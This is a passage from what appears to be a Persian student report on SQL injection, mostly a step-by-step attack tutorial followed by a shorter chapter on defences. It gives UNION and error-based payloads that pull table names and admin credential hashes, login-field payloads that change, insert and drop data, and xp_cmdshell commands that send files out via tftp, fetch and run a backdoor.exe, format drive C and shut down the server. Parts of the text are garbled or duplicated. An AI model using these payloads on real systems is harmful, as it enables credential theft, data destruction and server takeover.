عمل میکنیم، یکی از عبارت زیر را بجای ستون قابل نفوذ قرار  QueryString  و چنان چه از طریق

   : دهیممی

database( ) 

@@database 

unhex (hex(database( ))) 

convert (database( ) using latin 1) 

http://localhost/saite/news.php?id=.1+union+all+select+1,2,Version(),4,5,6,7,8,9

-- 
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 نام پایگاه داده -7-3شکل 

 باشد.می db_testشود، نام پایگاه داده مشاهده می 7-3همان طور که در شکل 

 PHPنسخه   بدست آوردن 2-4-3

، یکدددی از عبدددارات زیدددر را بجدددای سدددتون قابدددل نفدددوذ قدددرار PHPنسدددخه  بدددرای بدسدددت آوردن

 دهیم :می

database( ) 

@@database 

unhex (hex(database( ))) 

convert (database( ) using latin 1) 

http://localhost/saite/news.php?id=.1+union+all+select+1,2,Version(),4,5,6,7,8,9

-- 
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 جدول پایگاه داده نام  بدست آوردن 3-4-3

      استفاده Havingبرای بدست آوردن نام جدول، اگر در صفحه ورود کاربران قرار داریم، از عبارت 

 کنیم : کنیم و در قسمت نام کاربری تایپ میمی

a' having 1 = 1 --  

دهیم، ترکیبی از دستورات ، تزریق کد را انجام می QueryString طریق و چنانچه از

,group_concat ,Union,Select from  ،information_schema  را در آخر لینک وب سایت

 کنیم :اضافه می

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(tab

le_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=d

atabase() -- 

 

 نام جداول پایگاه داده -8-3شکل 
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 اسامي جداول وب سایت هدف : 

admin,components,our_people,resources,services,settings 

بیرون  Infromation_schemaدستور فوق مجموع اسامی جداول را به صورت یکجا، از پایگاه داده 

د، که جدول مورد نظر برای اسامی جداول وجود دار 8-3دهد، در شکل نمایش می 3کشیده و در ستون 

 باشد.می  adminخارج کردن نام کاربری و رمز عبور ادمین وب سایت 

 های ( جدول ورودیاسامي ستون ها )  4-4-3

 (هاورودیوردیم، برای بدست آوردن ستون ها )در بخش قبل نام جدول مورد نظر را بدست آ

 شود : آن جدول از دستور زیر استفاده می

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(col

umn_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name

=admin-- 

 

 خطای هگز -9-3شکل
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شود، نمایش داده می SQLserverشود، پیغام خطایی از سوی مشاهده می 9-3همان طور که در شکل 

باشد، بنابراین برای دور زدن امنیت وب سایت معادل هگدز کلمده م خطا همان امنیت وب سایت میاین پیغا

admin کنیم :را جایگزین می 

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(col

umn_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name

= 0x61646d696e-- 

0x  >> عبارت آغازین هگز 

   61646d696e >> adminمعادل هگز شده کلمه ی

 دهد.را به صورت یکجا نمایش می adminدستور فوق ستون های موجود در جدول 

 

 جداول پایگاه داده -10-3شکل 

   id,email,password,forgotten_pasword_ref اسامی ستون ها :
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هدا ( ی جددول  ورودین دستور فوق به آخر لینک آسیب پدذیر، اسدامی سدتون هدا ) پس از اضافه کرد

admin  نمایش داده میشود، از میان این اسامیemail,password باشند.ستون های مورد نظر ما می 

 ها( ورودیبدست آوردن محتویات ستون ها ) 5-4-3

ه وب سایت مورد نظر پایگاه جهت یافتن این ک phpدر مراحل قبل، نام پایگاه داده، نسخه 

information_schema  را دارد یا خیر، نام جداول جهت یافتن جدول حاوی اطلاعات کاربران، نام ستون

های جدول مورد نظر را بدست آوردیم، حال نوبت آن رسیده است که اطلاعات کاربران را از ستون های 

email  وpassword توان از ات یک یا چند ستون از جدول نظر، میخارج کنیم. برای بدست آوردن محتوی

 دستور زیر استفاده کرد :

union+all+select+1,2,group_concat(email,0x3a,password_name),4,5,6,7,8,9+fro

m+admin-- 

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(email,

0x3a,password),4,5,6,7,8,9+from+admin-- 

 

 محتویات ستون -11-3شکل 
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را خارج کرده و به صورت یدک جدا  passwordو  email( های  ورودیدستور فوق محتویات ستون ) 

 دهد.نمایش می

 :   passwordو  emailمحتویات ستون های 

test@webmail.com:dbee776b8a7a7ef429580b37c8a22a9c, 

admin@webmail.com:9f056e2e5e7c5b778d719cb6358a2b05 

شود محتویات ستون های مورد نظر خارج شد. در اینجا باز هم مشاهده می 11-3همان طور که در شکل 

کنیم، این بار در رمز ورودی که برنامه ندویس آن را بده صدورت هدش شدده به امنیت وب سایت بر خورد می

md5 کند.تبدیل می 

مانندد :  در آن هدا وارد کندیم انا امن هش شده ر یپسوردها که اگر دهستن یاریبس یداده ها گاهیاما پا

لغدات  یداده هدا تمدام گداهیپا نید. اپسورد ها را برگداند و در اختیار نفوذگر ها قرار دهند انندتویم 123456

 نی. بده همدکندرا در خود نگهداری میمعروف  یهابیعدد و ترک یادیتعداد ز و یسیمعروف انگل یکشنرید

 ی انتخابی توسط مدیران وب سایت ها ، ساده نباشد.پسوردها شودیم هیتوص لیدل

 به را زیاد حجم با داده یک که است فرایندی شود،می گفته هم انگشت اثر آن به اوقات گاهی که هش نکته :

 تمالگوری این به مگابایت 100 حجم با فایلی اگر به این معنا که. کندمی تبدیل ثابت طول با کوتاه مقدار یک

 آن به هم را"Hello"مانند  کوتاه بسیار داده یک اگر حتی. دهدمی تحویل رقمی 32 کد یک شما به بدهید،

 از خاصی هایبیت الگوریتم این ساده، خیلی طور به. داد خواهد تحویل رقمی 32 کد یک همچنان بدهید،

 . آوردمی دست به داده آن مختص کد یک ریاضی عملیات سری یک طی و کندمی انتخاب را داده

نرم افزار ها و وب سایت های گوناگونی برای کرک متون هش شده وجود دارد، اما بیشتر این کد ها قابل 

 ]1[کرک نیستند.
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 فصل چهارم
 Loginتزریق کد در صفحه 

  نفوذ به سرور و بانک اطلاعاتی

www.collegeprozheh.ir           کالج پروژه



 

56 

 Loginتزریق از طریق صفحه 

 سرقت اطلاعات در صفحه ورود کاربران 1-4

، نام جداول، اسامی ستون ها و تزریق کد از phpه داده، نسخه تا کنون روش های بدست آوردن نام پایگا

را بیان کردیم. در این قسمت نفوذ به پایگاه داده توسط صفحه ورود کاربران،  را بیان  QueryStringطریق 

حاوی اسامی و مشخصات کاربران است و ستون های  TblUserکنیم کخ جدول کنیم. بنابراین فرض میمی

 : آن عبارتند از

UserName (Text) 

Password (Text) 

FirstName (Text) 

LastName (Text) 

هدف این است که اطلاعات مربوط به یکی از کاربران را بدست آوریم. در قسمت های قبل اطلاعات 

بدست آوردیم، لذا در این مثال و مثال های بعدی  QueryStringادمین وب سایت را با استفاده از صفحه 

 پردازیم.وش کار در صفحه ورود کاربران میبه بیان ر

 قرار دارد. SQLserverباید توجه داشت که اطلاعات مورد نظر در خلال خطای صادره از سوی 

وارد شده از نظر ترتیب الفبا را بدست  UserNameکنیم تا اولین عبارت  زیر را وارد می Loginدر قسمت 

 آوریم :

‘Union+Select+Convert(int,(SELECT MIN(UserName) FROM TblUser 

)),1,1,1 FROM Tbl User -- 
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اصدلی سدایت  SELECTهای انتخاب شده در تعدادی اعداد یک در رشته فوق، بستگی به تعداد ستون

 شود : هدف دارد که چنانچه این تعداد هماهنگ نباشد پیغام خطای خاص زیر صادر می

Microsoft OLE DB Provider for SQL server error ‘80040e14’ 

All queries in an SQL statment containing a UNION oprator must have an equal 

number of expressions in their target lists 

 که در این حالت باید تعداد یک ها را تغییر داد.

 شود :سیستم صادر میفوق، خطای زیر از سوی  SQLگردیم. در صورت ورود جمله به جمله اصلی باز می

 

Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 

Syntax error converting the nvarchar value ‘Hoseini’ to a column of data type 

int. 

 است. ’Hoseini‘شویم که محتوای اولین ستون رکورد مورد نظر، برابر با از این پیغام خطا متوجه می

 توانستیم بجای عبارت جه : در صورتیکه آخرین رکورد، مد نظر ما بود میتو

Select top 1 UserName 

 از عبارت 

Select Max (UserName) 

 استفاده کنیم.
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است را بدست  ’Hoseini‘آن برابر با  UserNameخواهیم سایر مشخصات کاربری که اکنون می 

 است. Passwordآوریم. یکی از مهمترین مشخصات کاربران 

 کنیم :دستور زیر را وارد می Loginپس در قسمت 

‘Union+Select+Convert(int,(SELECT+Password+FROM+TblUser+WHERE 

+Username=’Hoseini’ )) ,1,1,1+FROM+TblUser -- 

 خطای صاده از سوی سیستم چنین خواهد بود :

Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 

Syntax error converting the nvarchar value ‘1234’ to a column of data type int 

 است. ’1234‘این کاربر،  Passwordشویم که محتوای با دقت در خطای بالا متوجه می

 تغییر اطلاعات 2-4

 تغییر اطلاعات یک رکورد 1-2-4

آن برابر با  Passwordو  ’Hoseini‘با  کاربر برابر UserNameدر مثال قبل، متوجه شدیم که 

 این کاربر را به یک مقدار جدید تغییر دهیم. Passwordاست، در این قسمت قصد داریم که  ’1234‘

 کنیم :وارد می Loginدر قسمت 

‘UPDAE+TblUser+Set+Password=’a’+WHERE+Username=’Hoseini’ -- 

یابد. بدهی است که در این حالت تغییر اطلاعات، می تغییر ’a‘این کاربر به  Passwordبدین ترتیب 

 باشد.خطای صادره از سوی سیستم چندان مهم نمی
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 تغییر اطلاعات برخي از رکوردها 2-2-4

‘UPDATE+TblUser+Set+Password=’a’+WHERE+UsserName+NOTIN(‘Hosen

i’,’karami’)-- 

 خواهد شد. ’a‘برابر با  ’Karami‘و  ’Hoseini‘تمامی کاربران، بجز  Passwordبا این دستور، 

است مشمول این تغییر  ’C‘آنها بزرگتر از  UserNameاگر از دستور زیر استفاده کنیم رکوردهایی که 

 خواهد شد.

‘UPDATE+TblUser+Set+Password=’a’+WHERE+UserName>’C’ ;-- 

 تغییر اطلاعات همه رکوردها 3-2-4

 خواهد شد : ’a‘بران ) بدون استثناء ( برابر با تمامی کار Passwordبا این دستور، 

‘UPDATE+TblUser+Set+Password=’a 

 درج اطلاعات جدید  3-4

خواهیم اطلاعات تا اینجا روی بررسی و تغییر اطلاعات موجود روی سرور بحث شد، اما اکنون می

 اضافه کنیم :  Serverی روی جدیدی به پایگاه داده

 درج رکورد جدید 1-3-4

 خواهیم کاربری با مشخصات زیر به جدول اضافه کنیم :ر ادامه مثال قبل، مید

UserName = ‘Amin’ 

Password= = ‘A1234’ 
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 کنیم :عبارت زیر را وارد می Loginدر قسمت 

‘INSERT+INOT+TblUser(UserName,Password) VALUES(‘Amin’,’A1234;) -- 

 وارد سیستم شد. Passwordو  UserNameتوان با همین سپس در صورت نیاز، می

 درج ستون جدید 2-3-4

شود. در مثال قبدل اگدر استفاده می  ALTER TABLEبرای اضافه کردن ستون به جدول از دستور 

از ندوع رشدته ای بده  NewField1، عبارت زیر را وارد کنیم، یک ستون جدید به ندام  Loginدر قسمت 

 شود.جدول اشافه می

ALTER TABLE TblUser ADD Newfield1 Varchar(30) -- 

 حذف اطلاعات 4-4

کنیم که حذف اطلاعات از خطرناکترین موارد تغییر در پایگاه داده است. قبل از ادامه بحث، یادآوری می

 LocalHostرا بصورت پس چنانچه خواننده محترم قصد بکارگیری از این دستور را دارد، بهتر است آن

 انجام دهد.

 رکورد حذف یک 1-4-4

 شود : را اضافه کردیم، از دستور زیر استفاده میبرای حذف رکورد جدیدی که در مرحله قبل، خودمان آن

‘DELETE FROM TblUser WHERE UserName=’Amin’ -- 
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 حذف تعدادی از رکوردها 2-4-4

 د :شونشروع شده حذف می ’M‘ها با حرف آن UserNameهایی که با این دستور تمام رکورد 

‘DELETE FROM TblUser WHERE LEFT (UserName,1)=’M’ – 

 حذف تمامي رکوردها 3-4-4

بدون استثناء حذف خواهد شدو هیچگونه خطا یا  TblUserبا دستور زیر، تمامی رکوردهای جدول 

 صادر نخواد شد : Serverهشداری هم از طرق 

‘DELETE FROM TblUser -- 

 حذف ستون 4-4-4

وارد  Loginکافی است دستور زیدر را بده هنگدام  TblUserاز جدول  Password  برای حذف ستون

 کرد :

‘ALTER TABLE TblUser DROP COLUMN Password -- 

 حذف جدول  5-4-4

استفاده  Loginبا تمامی اطلاعات موجود در آن از دستور زیر، در صفحه   TblUserبرای حذف جدول 

 شود : می

‘DROP TABLE TblUser 

 حذف پایگاه داده  6-4-4

 شود :ها و اطلاعات موجود در آن، از دستور زیر استفاده میای که تمام جدولبرای حذف پایگاه داده
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'DROP DATABASE MyDataBaseName -- 

 نام پایگاه داده است. MyDataBaseNameکه 

 

 حمله به سرور پایگاه داده وب سایت

 را بدست آورد.ید اطلاعات اسامی و پایه نظیر نام و ورژن آن، ابتدا باSQL  در مورد یک سرور از نوع

 

 بدست آوردن نام سرور 5-4

 عبارت زیر را وارد کنیم : Loginاگر در قسمت 

a’ or 1=Convert(int,@@servername)-- 

 کنیم : کنیم، عبارت زیر را در ادامه لینک آسیب پذیر اضافه میعمل می QueryStringو اگر از طریق 

http://localhost/saite/news.php?id=999' ' or 1=Convert(int,@@servername) -- 

 

 شود : پیغام خطای زیر از طرف سیستم صادر می

Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 

Syntax error converting the nvarchar value ‘SQLNEWS’ to a column of data 

type int. 

 است. ’SQLNEWS‘شویم که نام سرور، از پیغام  خطا متوجه می

 

 بدست آوردن ورژن سرور 6-4

شود که در آن ورژن سرور به تفصیل پیغام خطایی صادر می Loginبا وارد کردن عبارت زیر در قسمت 

 شود.بیان می

a' or 1=convert(int,@@version)— 
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 پیغام خطای صادر شده از سیستم : 

Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 – 

8.00.194(intel x86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft 

Corporation personal Edittion on Winodws 4.10 (Build 1998: ) ‘ to a column of 

data type int. 

 است. 2000با ورژن  SQLشود نوع سرور، گونه که از پیغام خطا مشاهده میهمان

 SQLبررسي آسیب پذیری سرور های   7-4

باشد، باید  sqlserver 20000برای اطمینان از امکان حمله به سرور، علاوه بر اینکه ورژن آن باید 

 کنیم.های خطای آن را بررسی میباشد. لذا دو دستور زیر را اجرا و پیغام شرایط دیگری نیز برقرار

 دستور اول : 

a' or 1=Convert(int,user_name()) -- 

 خطای صادر شده مانند عبارت زیر خواهد بود :

Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 

Syntax error converting the nvarchar value ‘dbo’ to column of data type int. 

 

 دستور دوم : 

a' or 1=convert(int,system_user)-- 

 خطای صادر شده از سوی سیستم شبیه عبارت زیر خواهد بود : 

Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 

Syntax error converting the nvarchar value ‘sa’ to column of data type int. 
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    باشد، ’sa‘ و در خروجی دستور دوم ’dbo‘چنانچه عبارت داخل گیومه در خروجی دستور اول، 

که وظیفه اجرای  XP_Cmdshellموجود بر روی سرور به نام  Stored procedureتوان از یک می

 را به عهده دارد، استفاده کرد.  SQL از داخل Dosدستورات 

 درون سرور نفوذ به 8-4

توان با استفاده ازروال ذخیره شده می Loginدر صورتی که سرور مورد نظر آسیب پذیر باشد در قسمت 

XP_Cmdshell  دستور زیر را وارد کرد، اما باید توجه داشت که نباید منتظر پیغام خطای خاصی از طرق

SQL server  .باشیم 

‘ ; exec MASTER.Xp_Cmdshell+’md C:\Temp’ – 

 

موجود روی سرور ساخته  Cدرون فهرست ریشه درایو  Tempبه وسیله  دستور فوق ، یک شاخه به نام 

توان محتویات ریشه درایوی که در آن ویندوز سرور نصب گردیده را درون یک فایل با دستور زیر می شود.می

 درون همان شاخه قرار داد : file.txtمتنی به نام 

‘; exec MASTER.XP_Cmdshell ‘dir%systemroot%\system32>file1.txt’ -- 

 این فایل متنی را به کامپیوتر خود منتقل کرد : tftpتوان با استفاده از دستوراتی نظیر سپس می

‘; exec MASTER.XP_Cmdshell ‘tftp -i <ip> put file1.txt’ -- 

ک فایل  با نام توان یکامپیوتر خود است. حتی می Ipدرآن، معرف آدرس  <ip>که عبارت 

backdoor.exe  را روی سرورUpload را اجرا نمود : کرد و سپس با دستور دیگری آن 

‘; exec MASTER.XP_Cmdshell ‘tftp –i <ip> GET backdoor.exe’ -- 
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 را حذف کرد : SQLserverهای موجود در شاخه توان تمام فایلبا دستور زیر می

‘; exe MASTR.XP_Cmdshell ‘del *.* ‘ -- 

( کرد بدون اینکه هیچگونه پیغام  Quick  سریع ) Formatسرور را  Cتوان درایو توسط دستور زیر می

 خطایی صادر شود : 

‘; exec MASTER.XP_Cmdshell ‘Format C:\U\Q\Autotest’ -- 

ر ساده زیر هم توان با دستوبرای از کار انداختن سرور نیازی به استفاده از دستورات بالا نیست بلکه می

 ]9[نموده و موقتاً از کار انداخت :   Downسرور را 

‘; shutdown -- 
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 پنجمفصل 
نتیجه گیری و روش های جلوگیری از 

  SQLحملات تزریق دستورات 
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 روش های جلوگیری از حملات تزریق کد

به عنوان یک خطر جدی پی بردیم به بیان  SQL Injectionاکنون که به اهمیت و لزوم توجه به 

 کنیم :های محافظت در برابر آن اشاره میبرخی روش

   SQL Serverهای ذخیره شده استفاده از رویه 1-5

ها و دسترسی مستقیم کاربران به جدول ) Stored Procedures (های ذخیره شده با استفاده از روال

View شود و خودبخود تزریق عبارات های پایگاه داده قطع میSQL  به سادگی قبل نخواهد بود. ضمن

یابد. به کاهش می SQL Injectionکنترل نوع داده ورودی، احتمال حملات ها بدلیل اینکه این روال

شود، این اخذ می QueryStringبصورت یک عدد صحیح از  idعنوان مثال زمانیکه در صفحه نمایشه خبر، 

id هنگام انتقال پارامترها به روالصورت بهتواند حاوی کارکترهای غیر عددی باشد، چرا که در غیر ایننمی 

روی  SQLیابد که دستور خطرناک شود و دیگر اجرای برنامه ادامه نمیذخیره شده، پیغام خطا صادر می

 پایگاه داده اعمال شود.

 حذف کلمات و کارکترهای خطرناک 2-5

 کلمات شناخته شده ای نظیر :  

Delete, Update, Insert, Select, Convert, Having, Group, Union, Alter, Drop, 

Order, By 

 ید از اطلاعات ورودی حذف نمود.ارا ب

با کارکتر های   Replacce ضمن اینکه کارکترهای خطرناکی نظیر کارکترهای زیر را با استفاده از تابع

 مطمئن جایگزین نمود.
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 ذیرفته شود.بهترین راه برای اطمینان از صحت اطلاعات ورودی این است که صرفاً حروف لاتین و ارقام پ

 اطمینان از صحت نوع اطلاعات  ورودی 3-5

قبل از اینکه مقدار  QueryStringدر مورد اطلاعات عددی وارد شده توسط کاربر خصوصاً در مورد 

اضافه کنیم، باید از صحت عددی بودن آن مطمئن شویم. اینکار را با استفاده از  SQLپارامتر را به جمله 

 ( )Clngو  ( )Cintو توابع تبدیل نوع داده نظیر  ( )ISNumeriقدار داد نظیر توابع کنترل کننده نوع م

 توان انجام داد.می

 بطور مثال در کد زیر : 

Dim KeyNewsid as long  

KeynewsID  = clng (Request (“newsI”)) 

له پیغام خطا در صورتیکه پارامتر ورودی، عددی نباشد ) جمله ای غیر عددی در انتهای آن باشد( بلافاص

 صادر خواهد شد و کار، به مراحل خطرناک بعدی نخواهد رسید.

 تعیین طول مجاز برای اطلاعات ورودی 4-5

های دریافت اطلاعات نامحدود باشد. با تعیین حداکثر طول مجاز  ورودیهیچ لزومی ندارد که اندازه 

و خطای مهاجمین را گرفت. هر چند  توان جلوی موارد مهمی از سعیبرای اطلاعات ورودی توسط کاربر می

یا  Usernmaeرا خاموش کرد. تنها کافی است که بجای  SQL Serverتوان کارکتر هم می 12تنها با 

Password  : یا عبارات کلیدی جستجو، رشته زیر را وارد کرد 

‘; shutdown -- 
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 ند خطر کد فوق بر طرفه فوق حذف شوالبته واضح است که اگر کلمات و کارکترهای خطرناک از رشت

 خواهد شد.

 رمزنگاری اطلاعات حساس 5-5

مربوط به مسیر فیزیکی  ConnectionStringکاربران و همچنین  Passwordاطلاعات حساس نظیر 

شود باید بصورت نگهداری می Config.phpمعمولا در فایل  PHPرا که در پایگاه داده روی سرور

 رمزنگاری شده نگهداری کرد.

که در فصل قبل توضیح داده  Hash Md5های استاندارد موجود نظیر مزنگاری نیز باید از روشبرای ر

ها پس از چند الگوریتم نگونههای اختراعی باید پرهیز نمود زیرا که معمولا ایشد استفاده شود و از روش

 شوند.شکسته می Debugساعت بررسی و 

 ASP.Net نام امکاناتی را به همین منظور در فضایSystem.Security,Cryptography  قرار داده

 است.

 استفاده نمود. RSA, AES, DESهای رمزنگاری توان از الگوریتمنیز می PHPدر زبان 

$RSA = NEW CRYPT_RSA(); 

$RSA->LOADKEY($PRIVATEKEY); 

$PLAINTEXT = NEW MATH_BIGINTEGER('AAAAAA'); 

ECHO $RSA->_EXPONENTIATE($PLAINTEXT)->TOBYTES(); 

?> 
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 : MD5برای تولید  PHPقطعه کد 

<?PHP 

$STR = "HELLO"; 

ECHO MD5($STR); 

?> 

 Webعدم نمایش خطا در محیط  6-5

های ویژه، خطاهای صادره از سوی سیستم را بررسی و بر عموماً مهاجمین با سعی و خطا در ورود داده

نابراین ضررویست که بجای نمایش خطاهای  نند.کاساس آن حمله خود را با دقت بیشتری طرح ریزی می

واضح، صفحه ویژه ای برای اینکار طراحی شود و صرفاً به کاربر متذکر شود که خطایی در برنامه رخ داده 

 است.

 Customمربوط  Tagمقدار  Web.configبرای انجام چنین کاری باید در فایل  ASP.Netدر 

(Errors   را برابر با )Remote Only  قرار داد تا جزئیات خطاهای پیش بینی نشده به کاربران نمایش

 ]10[داده نشود.

 قرار داد. Config.php( را در فایل  ;error_reporting(0)تابع )  PHPو در زبان 
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 نتیجه گیری 5-7

یکدی از  SQLاندد کده تزریدق برنامه های کاربردی تحت وب، همواره در معرض حملات متعدددی بدوده

ای برای مقابله با آن ارائه نشده اسدت. هاست و متأسفانه هنوز هم راه حل جامع و کم هزینهترین آنناکخطر

گذرد، تغییرات جزئدی در ها میها از طراحی آنها آسیب پذیری که مدتسایتکه بسیاری از وبخصوصاً این

بدا های قابل توجه در بر دارد. هزینه ها مقرون به صرفه و یا حتی میسر نیست و اینجا تغییرات اساسی نیزآن

-ها و مؤسسات مهم کشورمان نشان میسایت های ارگانتأسف بیشتر باید گفت که مروری اجمالی روی وب

 ها در مقابل این حملات آسیب پذیرند.دهد که بسیاری از آن

ابتدا به معرفی  پرداختیم. بدین منظور  SQL در این نوشته به آموزش و بررسی حملات تزریق دستورات

و روش های شایع حملات تزریق کد پرداخته شد و سپس روش های مختلدف جلدوگیری از  SQLدستورات 

 حملات را معرفی نمودیم. در این میان هفت روش ارائه شده در مقالات اخیر مورد بررسی قرار داده شد.

یل خطای توسعه دهندگان سیستم هدا اند اما هنوز به دلکه حملات از این نوع امروزه شناخته شدهبا این

هدا مدورد اسدتفاده که گریز ناپذیر است و همچنین کاربرد برنامه های موروثی که هنوز در بسیاری از سازمان

 .چنان ادامه داردگیرند، تحقیق در این زمینه همقرار می
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